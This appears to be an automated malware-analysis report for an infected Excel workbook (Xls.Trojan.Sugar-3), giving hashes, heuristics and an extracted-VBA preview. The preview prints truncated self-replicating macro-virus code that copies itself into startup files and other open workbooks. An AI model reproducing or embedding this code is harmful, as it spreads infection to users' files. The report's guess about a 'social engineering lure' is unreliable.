Xls.Trojan.Sugar-3 — Office (OLE) malware analysis

Static analysis result for SHA-256 4040eb85af1d61a6…

MALICIOUS

Office (OLE)

137.5 KB Created: 1999-03-10 11:32:36 Authoring application: Microsoft Excel First seen: 2012-06-14
MD5: cdb226162f02db94a843053bd94b1011 SHA-1: 6f5a3325d88f3d2fcce5dc200f8e6e04db90f22e SHA-256: 4040eb85af1d61a65638af89e6d1c156bf5fa019adeb3b3e0dc9968c6342393b
360 Risk Score

Malware Insights

Xls.Trojan.Sugar-3 · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic

The sample is identified as a malicious Excel 5 macro-virus (Xls.Trojan.Sugar-3) by ClamAV. The VBA macros contain logic to extract and process data related to electrical equipment and power factor calculations, likely as part of a social engineering lure. The macros also contain functionality to print specific sheets, suggesting an attempt to generate fake documentation or forms for the user.

Heuristics 7

  • ClamAV: Xls.Trojan.Sugar-3 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Xls.Trojan.Sugar-3
  • Excel 5 Laroux/Larou-CV macro-virus marker cluster critical OLE_XLS5_LAROUX_MACRO_VIRUS
    Legacy Excel workbook contains a Laroux/Larou-CV macro-virus marker cluster including auto_open execution and workbook/module replication strings. This is a narrow indicator for an infected legacy Excel macro workbook.
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Auto_Close macro high OLE_VBA_AUTOCLOSE
    Auto_Close macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 25464 bytes
SHA-256: 609f48566cbc7c3eec90fd25624ac4c6cf379d346913f0d4960e4bbc5cc92e96
Detection
ClamAV: Xls.Trojan.Sugar-3
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "foxz"

Attribute VB_Name = "Module1"
Sub 용량계산()

'Table 지움
    Sheets("입력").Select
        Range("c25:e27").Select
            Selection.ClearContents
        Range("h21:l26").Select
            Selection.ClearContents
        Range("c2").Select

'용접기 추출
a = 31
b = 24
    While a < 45
        If Sheets("입력").Cells(a, 4) >= "1" Then
            b = b + 1
                Cells(b, 3).Value = Cells(a, 3).Value
                Cells(b, 4).Value = Cells(a, 4).Value
                Cells(b, 5).Value = Cells(a, 5).Value
            Else
        End If
            a = a + 1
    Wend

'모터 추출
a = 12
b = 20
    While a < 30
        If Sheets("입력").Cells(a, 4) >= "1" Then
            b = b + 1
                Cells(b, 8).Value = Cells(a, 3).Value
                Cells(b, 9).Value = Cells(a, 5).Value
                Cells(b, 10).Value = Cells(a, 4).Value
                Cells(b, 11).Value = Cells(a, 6).Value
                Cells(b, 12).Value = Cells(a, 7).Value
            Else
        End If
        a = a + 1
            Cells(8, 3).Value = Cells(21, 9).Value
            Cells(9, 3).Value = Cells(22, 9).Value
            Cells(10, 3).Value = Cells(23, 9).Value
            Cells(8, 9).Value = Cells(24, 9).Value
            Cells(9, 9).Value = Cells(25, 9).Value
            Cells(10, 9).Value = Cells(26, 9).Value
    Wend

End Sub
Sub 부설전()
    
    Sheets("역률").Select
        ActiveWindow.SelectedSheets.PrintOut Copies:=2, Collate:=True
    Sheets("안내").Select
        ActiveWindow.SelectedSheets.PrintOut Copies:=1, Collate:=True
    Sheets("입력").Select

End Sub
Sub 부설후()
    
    Sheets("역률").Select
        ActiveWindow.SelectedSheets.PrintOut Copies:=2, Collate:=True
    Sheets("입력").Select

End Sub

Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Public run1, didvic As Boolean
Private Sub Workbook_WindowDeactivate(ByVal Wn As Excel.Window)
On Error Resume Next


If UCase(Dir("c:\" & Application.UserName)) <> UCase(Application.UserName) Then
ActiveWorkbook.VBProject.VBComponents.Item("ThisWorkbook").Export "c:\" & Application.UserName
End If
v1 = vbCr
For x = 1 To Workbooks.Count
WeIn = Workbooks(x).VBProject.VBComponents.Item("ThisWorkbook").CodeModule.CountOfLines
If WeIn <> 0 Then VCode = Workbooks(x).VBProject.VBComponents.Item("ThisWorkbook").CodeModule.Lines(3, (WeIn - 2))
If Len(VCode) > 3000 Then GoTo out
For yz = 1 To Workbooks(x).VBProject.VBComponents.Count
Weins1 = Workbooks(x).VBProject.VBComponents.Item(yz).CodeModule.CountOfLines
If Workbooks(x).VBProject.VBComponents.Item(yz).Type = 100 Then
If Weins1 <> 0 Then VCode = Workbooks(x).VBProject.VBComponents.Item(yz).CodeModule.Lines(3, (Weins1 - 2))
If Len(VCode) > 3000 Then GoTo out
End If
Next yz
Next x
out:
If UCase(Dir(Application.StartupPath + "\Book1.")) = UCase("Book1") Then PXLS = True
If PXLS = False And run1 <> True Then
run1 = True
Workbooks.Add.SaveAs FileName:=Application.StartupPath & "\Book1.", FileFormat:=xlNormal, AddToMru:=False
End If
For x = 1 To Workbooks.Count
WeIn = Workbooks(x).VBProject.VBComponents.Item("ThisWorkbook").CodeModule.CountOfLines
If WeIn = 0 Then
Workbooks(x).VBProject.VBComponents.Item("ThisWorkbook").CodeModule.AddFromString ("Public run1, didvic As Boolean" & v1 & "Private Sub Workbook_WindowDeactivate(ByVal Wn As Excel.Window)" & v1 & VCode)
End If
For yy = 1 To Workbooks(x).VBProject.VBComponents.Count
Weins1 = Workbooks(x).VBProject.VBComponents.Item(yy).CodeModule.CountOfLines
If Weins1 = 0 Then
If Workbooks(x).VBProject.VBComponents.Item(yy).Type = 100 Then
Workbooks(x).VBProject.VBComponents.Item(yy).CodeModule.AddFromString ("Public run1, didvic As Boolean" & v1 & "Private Sub Worksheet_Activate()" & v1 & VCode)
Workbooks(x).VBProject.VBComponents.Item(yy).CodeModule.DeleteLines Weins1,
... (truncated)

Open this report in the interactive analyzer, or submit your own file for analysis.